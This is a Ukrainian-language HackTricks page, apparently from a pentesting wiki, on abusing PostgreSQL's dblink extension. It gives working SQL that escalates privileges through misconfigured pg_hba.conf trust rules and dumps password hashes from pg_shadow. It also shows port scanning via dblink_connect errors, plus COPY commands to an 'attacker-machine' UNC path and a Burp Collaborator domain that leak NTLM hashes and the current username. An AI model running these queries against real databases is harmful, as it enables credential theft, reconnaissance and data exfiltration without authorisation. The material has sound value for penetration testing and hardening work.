Мережа - Привілейоване підвищення, сканер портів та розкриття відповіді на виклик NTLM
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Знайдіть більше інформації про ці атаки в оригінальному документі.
Оскільки PostgreSQL 9.1, установка додаткових модулів є простою. Зареєстровані розширення, такі як dblink
, можна встановити за допомогою CREATE EXTENSION
:
CREATE EXTENSION dblink;
Якщо ви завантажили dblink, ви зможете виконати деякі цікаві трюки:
Підвищення привілеїв
Файл pg_hba.conf
може бути неправильно налаштований дозволяючи з'єднання з localhost як будь-який користувач без необхідності знати пароль. Цей файл зазвичай можна знайти за адресою /etc/postgresql/12/main/pg_hba.conf
, а неправильна конфігурація виглядає так:
local all all trust
Зверніть увагу, що ця конфігурація зазвичай використовується для зміни пароля користувача бази даних, коли адміністратор його забуває, тому іноді ви можете її знайти.
Також зверніть увагу, що файл pg_hba.conf доступний для читання лише користувачем і групою postgres і запису лише користувачем postgres.
Цей випадок є корисним, якщо ви вже маєте shell всередині жертви, оскільки це дозволить вам підключитися до бази даних postgresql.
Ще одна можлива неправильна конфігурація складається з чогось подібного:
host all all 127.0.0.1/32 trust
Оскільки це дозволить всім з localhost підключатися до бази даних як будь-який користувач.
У цьому випадку, якщо функція dblink
працює, ви можете підвищити привілеї, підключившись до бази даних через вже встановлене з'єднання та отримати доступ до даних, до яких не повинні мати доступ:
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
Port Scanning
Зловживаючи dblink_connect
, ви також можете шукати відкриті порти. Якщо ця **функція не працює, вам слід спробувати використовувати dblink_connect_u()
, оскільки документація стверджує, що dblink_connect_u()
ідентична dblink_connect()
, за винятком того, що вона дозволяє не-суперкористувачам підключатися, використовуючи будь-який метод аутентифікації_.
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR: could not establish connection
DETAIL: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
// Port Filtered/Timeout
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTP server
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTPS server
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
Зверніть увагу, що перед тим, як ви зможете використовувати dblink_connect
або dblink_connect_u
, вам може знадобитися виконати:
CREATE extension dblink;
UNC шлях - розкриття NTLM хешу
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.